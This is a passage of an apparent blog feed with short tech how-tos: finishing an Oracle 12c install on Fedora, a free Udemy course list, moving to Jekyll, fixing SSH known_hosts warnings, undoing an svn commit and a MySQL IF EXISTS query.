export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib
export CLASSPATH=$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;14- There is a bug that requires us to relink some of the libraries used by Oracle. This is probably the cause of error that prompts “TNS : Lost contact” that is typically faced during Oracle installation.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd $ORACLE_HOME/lib/stubs
mkdir BAK
mv libc* BAK/
$ORACLE_HOME/bin/relink all 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;15- Run the installer in GUI mode. Ensure that you set the password for administator and jot it down.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd /u01/software/database
./runInstaller 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you’re faced with the error mentioned in 14, what you probably have is Oracle software installed, but database was not created. Moving forward, do again step 14 and afterwards, follow the next step. If you don’t face the error, skip the next step - you probably have database created successfully already.&lt;/p&gt;

&lt;p&gt;16- Create database. Run : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dbca&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;17- If you’re faced with not enough space error, delete the installation zip files downloaded in (1).&lt;/p&gt;

&lt;p&gt;18- By now, the database should be succesfully installed. In short, there are 2 things that we need to check to ensure our Oracle database is running correctly, the first one is the Oracle database instance and the other one is the Oracle listener.&lt;/p&gt;

&lt;p&gt;19- To ensure the Oracle database instance is running, check it using Sqlplus.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sqlplus / as sysdba
startup 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should see something like this :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ORACLE instance started.

Total System Global Area 2483027968 bytes
Fixed Size		    8795808 bytes
Variable Size		  687868256 bytes
Database Buffers	 1778384896 bytes
Redo Buffers		    7979008 bytes
Database mounted.
Database opened. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;20- To ensure that the listener is running, run :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lsnrctl status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or you can restart the listener&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lsnrctl stop
lsnrctl start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should see something like this :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    LSNRCTL for Linux: Version 12.2.0.1.0 - Production on 31-DEC-2017 21:22:40

	Copyright (c) 1991, 2016, Oracle.  All rights reserved.

	Starting /u01/app/oracle/product/12.2.0.1/db_1/bin/tnslsnr: please wait...


	LSNRCTL for Linux: Version 12.2.0.1.0 - Production on 31-DEC-2017 21:22:15

	Copyright (c) 1991, 2016, Oracle.  All rights reserved.

	Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=fedora26.localdomain)(PORT=1521)))
	STATUS of the LISTENER
	------------------------
	Alias                     LISTENER
	Version                   TNSLSNR for Linux: Version 12.2.0.1.0 - Production
	Start Date                31-DEC-2017 19:52:50
	Uptime                    0 days 1 hr. 29 min. 26 sec
	Trace Level               off
	Security                  ON: Local OS Authentication
	SNMP                      OFF
	Listener Parameter File   /u01/app/oracle/product/12.2.0.1/db_1/network/admin/listener.ora
	Listener Log File         /u01/app/oracle/diag/tnslsnr/fedora26/listener/alert/log.xml
	Listening Endpoints Summary...
	  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=fedora26.localdomain)(PORT=1521)))
	  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521)))
	  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcps)(HOST=fedora26.localdomain)(PORT=5500))(Security=(my_wallet_directory=/u01/app/oracle/admin/orcl/xdb_wallet))(Presentation=HTTP)(Session=RAW))
	Services Summary...
	Service &quot;619541c6fa4e61e3e0530100007f47e3&quot; has 1 instance(s).
	  Instance &quot;orcl&quot;, status READY, has 1 handler(s) for this service...
	Service &quot;orcl&quot; has 1 instance(s).
	  Instance &quot;orcl&quot;, status READY, has 1 handler(s) for this service...
	Service &quot;orclXDB&quot; has 1 instance(s).
	  Instance &quot;orcl&quot;, status READY, has 1 handler(s) for this service...
	Service &quot;orclpdb&quot; has 1 instance(s).
	  Instance &quot;orcl&quot;, status READY, has 1 handler(s) for this service...
	The command completed successfully 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;21- I had some issues where the listener just couldn’t reach out the running database instance. To rectify this, shutdown the instance and restart it back using sqlplus&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sqlplus / as sysdba
SQL&amp;gt; shutdown
SQL&amp;gt; startup 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Afterwards, check if the listener is picking up the instance by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsnrctl status&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;22- That’s it. You may want to create some tablespace, some new users to try out your local Oracle database using any database client. I use Dbeaver. Good luck!!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Some Free Udemy Courses</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/11/05/Some-free-Udemy-courses/"/>
   <updated>2017-11-05T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/11/05/Some-free-Udemy-courses</id>
   <content type="html">&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/ardit-sulce-python-for-beginners/&quot;&gt;Python for Beginners&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/python-oops-beginners/&quot;&gt;The Four Pillars of OOP in Python 3&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/junit-tutorial-for-beginners-with-java-examples/&quot;&gt;JUnit&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/learn-angular-from-scratch/&quot;&gt;Learn Angular 4&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/git-started-with-github/&quot;&gt;Git Started with GitHub&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/linux-tutorials/&quot;&gt;Linux&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/luv2code-eclipse-ide-for-beginners/&quot;&gt;Eclipse IDE for Beginners&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/become-a-full-stack-developer-with-spring-aws-and-stripe/&quot;&gt;Become a Full Stack Developer with Spring, AWS and Stripe&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/sass-workflow/&quot;&gt;Sass Workflow&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/mongoosejs-essentials/&quot;&gt;MongooseJS Essentials - Learn MongoDB for Node.js&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/learn-bootstrap-4-by-example/&quot;&gt;Learn Bootstrap 4&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/aws-essentials/&quot;&gt;AWS Essentials&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/web-design-secrets/&quot;&gt;Web Design for Web Developers&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/unity-game-developer/&quot;&gt;Unity Game Development&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/game-development-crash-course/&quot;&gt;Game Development Crash Course w/Corona SDK&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/javascript-game-development-create-your-own-breakout-game/&quot;&gt;JavaScript Game Development&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.udemy.com/hadoopstarterkit/&quot;&gt;Hadoop Starter Kit&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

</content>
 </entry>
 
 <entry>
   <title>Getting started with Jekyll as the new blogging platform</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/11/04/Getting-started-with-jekyll-as-blogging-platform/"/>
   <updated>2017-11-04T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/11/04/Getting-started-with-jekyll-as-blogging-platform</id>
   <content type="html">&lt;p&gt;I’ve been using &lt;a href=&quot;http://nextslides.blogspot.my/&quot;&gt;&lt;strong&gt;Blogger&lt;/strong&gt;&lt;/a&gt; for my blogging purposes for quite some time. However, since I found out that I can host my site with Github Pages, I thought about moving to here for good.&lt;/p&gt;

&lt;p&gt;Why?&lt;/p&gt;

&lt;p&gt;I’ve always been irritated on how I needed to customize each blog post with html to make it pretty and usually ending up messy - sometimes one post use some fonts, style etc while the next one use other stuff. There is no consistency. Especially when I tried to display codes, command etc - the syntax highlighting via html is horrible. I hated the fact that I need to spend some time on styling them properly. And I don’t have that time anymore… (projects are piling up)&lt;/p&gt;

&lt;p&gt;So here comes &lt;strong&gt;Markdown&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I think Markdown is great. I’m quite used to writing in Texttile at the moment since my company use Redmine for the project management tool and our Redmine is powered by Texttile. I mean, it didn’t take long for me to learn Markdown. FYI, &lt;a href=&quot;https://guides.github.com/features/mastering-markdown/&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt; is a great simple notes on Markdown if you haven’t bookmarked it yet.&lt;/p&gt;

&lt;p&gt;So, I have decided from now onward I’ll be blogging through this Github page. I have created the repo a while ago and recently just learned how to create post. I didn’t understand the idea of blogging on static websites in the beginning but now that I understood it, I think this is brilliant. The site is quite fast too.&lt;/p&gt;

&lt;p&gt;One extra advantage : Now I can practice using VIM for little bit more. I’m practically writing this post using VIM right now.&lt;/p&gt;

&lt;p&gt;Lets get started!&lt;/p&gt;

&lt;h4 id=&quot;things-to-do-&quot;&gt;Things to do :&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Complete the Jekyll site setup (I know some links are 404 at the moment)&lt;/li&gt;
  &lt;li&gt;Fixed individual page styles (For some reason, only the homepage is OK)&lt;/li&gt;
  &lt;li&gt;Find out how I can display some posts from other blogs somewhere on the homepage (not so static anymore, eh?). Well, if that’s not possible, I just put up links to them somewhere on the homepage. Kinda for bookmarking purposes.&lt;/li&gt;
  &lt;li&gt;Redirect my domain to here&lt;/li&gt;
  &lt;li&gt;Move all post from blogger to here. Found some &lt;a href=&quot;https://gist.github.com/kennym/1115810&quot;&gt;utility&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Retire nextslides.blogspot.my&lt;/li&gt;
  &lt;li&gt;Celebrate&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>SSH Remote host identification has changed</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/09/30/SSH-Remote-host-identification-has-changed/"/>
   <updated>2017-09-30T13:41:01+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/09/30/SSH-Remote-host-identification-has-changed</id>
   <content type="html">&lt;p&gt;So you have recently connected to a remote Server A via ssh.&lt;br /&gt;&lt;br /&gt;The Server A’s key is then saved into a file in your local PC, typically &lt;b&gt;$HOME/.ssh/known_hosts&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;It may looks like this :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;serverA ecdsa-sha2-nistp256 AAAAE2VjZHNhLXasdasdasdmlzdHAyNTYAAAAIbm&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;lzddddHAyNTYAAABBBNrIVAhYMcnUasdasdsdoMv7gtf8nMHghgYzVcdddkzbDM79C&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;81qswhYdd8L9VX+pNjg+asdasdasdasdasdasdxgooCk=&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Imagine, suddenly, the remote &lt;b&gt;Server A changed their key&lt;/b&gt;.&lt;br /&gt;&amp;lt;pre&amp;gt;As a result, the key you have in your local PC, inside known_hosts becomes invalid.&lt;br /&gt;&lt;br /&gt;The moment you try to ssh to Server A again, you will be prompted with :&lt;br /&gt;&lt;br /&gt;&amp;lt;pre style=&quot;background-color: #eeeeee; border: 1px solid rgb(221, 221, 221); clear: both; color: #111111; font-family: Consolas, Monaco, Menlo, Courier, Verdana, sans-serif; font-size: 13px; margin-bottom: 26px; overflow: auto; padding: 13px; tab-size: 4; word-wrap: normal;&quot;&amp;gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&lt;br /&gt;@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @&lt;br /&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&lt;br /&gt;IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!&lt;br /&gt;Someone could be eavesdropping on you right now (man-in-the-middle attack)!&lt;br /&gt;It is also possible that the RSA host key has just been changed.&lt;br /&gt;The fingerprint for the RSA key sent by the remote host is&lt;br /&gt;a7:a8:f2:97:94:33:58:b7:9d:bc:e0:a6:6b:f7:0a:29.&lt;br /&gt;Please contact your system administrator.&lt;br /&gt;Add correct host key in /home/ramesh/.ssh/known_hosts to get rid of this message.&lt;br /&gt;&lt;b style=&quot;margin: 0px; padding: 0px; word-wrap: break-word;&quot;&gt;Offending key in /home/ramesh/.ssh/known_hosts: 6&lt;/b&gt;&lt;br /&gt;Permission denied (publickey,password).&amp;lt;/pre&amp;gt;The solution is to edit the file known_hosts and remove the existing key of Server A, &amp;lt;/pre&amp;gt;&amp;lt;pre&amp;gt;using your preferred text editor i.e. vi or vim or nano or notepad&lt;br /&gt;&lt;br /&gt;When you try to ssh to Server A again, the &lt;b&gt;new key of Server A&lt;/b&gt; will be saved into &amp;lt;/pre&amp;gt;&amp;lt;pre&amp;gt;your local file known_hosts.&amp;lt;/pre&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SSH SCP with Java</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/09/25/SSH-SCP-with-Java/"/>
   <updated>2017-09-25T03:10:32+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/09/25/SSH-SCP-with-Java</id>
   <content type="html">&lt;p&gt;Good library to use is Java Secure Channel (JSch) from http://www.jcraft.com/jsch&lt;br /&gt;&lt;br /&gt;Java doc : http://epaul.github.io/jsch-documentation/simple.javadoc/&lt;br /&gt;&lt;br /&gt;Source code : https://github.com/ePaul/jsch-documentation&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Undo bad commit</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/09/14/Undo-bad-commit/"/>
   <updated>2017-09-14T03:46:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/09/14/Undo-bad-commit</id>
   <content type="html">&lt;p&gt;Sometimes when you did commit like below, you have forgoten where you are and accidentally committed every local changes under the current folder tree, including some that you don’t want to. Urrgh!&lt;br /&gt;&lt;br /&gt;Example : svn commit -m ‘blabla’&lt;br /&gt;&lt;br /&gt;For example, above commit results in revision 101.&lt;br /&gt;&lt;br /&gt;You want to get back the repo to what was in 100.&lt;br /&gt;&lt;br /&gt;You run :&lt;br /&gt;1. Go to the same folder when you did the commit&lt;br /&gt;&lt;br /&gt;2. Merge to the previous revision i.e. 100&lt;br /&gt;svn merge -c -100 .&lt;br /&gt;&lt;br /&gt;3. Check what changes this one will take place&lt;br /&gt;svn stat&lt;br /&gt;&lt;br /&gt;4. Commit&lt;br /&gt;svn commit -m ‘sorry Im so dumb before but I learned now’&lt;br /&gt;&lt;br /&gt;Now you have the new revision i.e. 102 is now back to what was in 100&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>MySQL Conditional If-else when selection returns empty result set</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/09/05/MySQL-Conditional-If-else-when-selection-returns-empty-result-set/"/>
   <updated>2017-09-05T15:12:35+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/09/05/MySQL-Conditional-If-else-when-selection-returns-empty-result-set</id>
   <content type="html">&lt;p&gt;I am still very new to MySQL or SQL in general. So, this is kind of new.&lt;br /&gt;&lt;br /&gt;I need to run a select statement and if that select statement return nothing, I would like to run another different select statement :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span style=&quot;background-color: #eff0f1; font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace; font-style: inherit; font-variant-caps: inherit; font-variant-ligatures: inherit; font-weight: inherit;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;IF EXISTS (select something from TABLE_A) THEN                                     &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #eff0f1; font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: x-small; font-style: inherit; font-variant-caps: inherit; font-variant-ligatures: inherit; font-weight: inherit;&quot;&gt;    select something from &lt;/span&gt;&lt;span style=&quot;background-color: #eff0f1; font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: x-small; font-style: inherit; font-variant-caps: inherit; font-variant-ligatures: inherit; font-weight: inherit;&quot;&gt;TABLE_A&lt;/span&gt;&lt;span style=&quot;background-color: #eff0f1; font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: x-small; font-style: inherit; font-variant-caps: inherit; font-variant-ligatures: inherit; font-weight: inherit;&quot;&gt;;                                                 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;pre class=&quot;lang-sql prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;color: #0b5394; font-size: x-small;&quot;&gt;&amp;lt;div style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;; white-space: normal;&quot;&amp;gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;ELSE&lt;/span&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;; white-space: normal;&quot;&amp;gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;&quot;&gt;select something from&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;&quot;&gt;TABLE_B&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;&quot;&gt;;&lt;/span&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;; white-space: normal;&quot;&amp;gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;END IF;&lt;/span&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&amp;lt;/pre&amp;gt;More from StackOverflow :&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;pre class=&quot;lang-sql prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;&quot;&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;IF&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;NOT&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;EXISTS&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;SELECT&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;...)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;INSERT&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;END&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&amp;lt;/pre&amp;gt;And with more control :&lt;br /&gt;&lt;br /&gt;&amp;lt;pre class=&quot;lang-sql prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-variant-numeric: inherit; 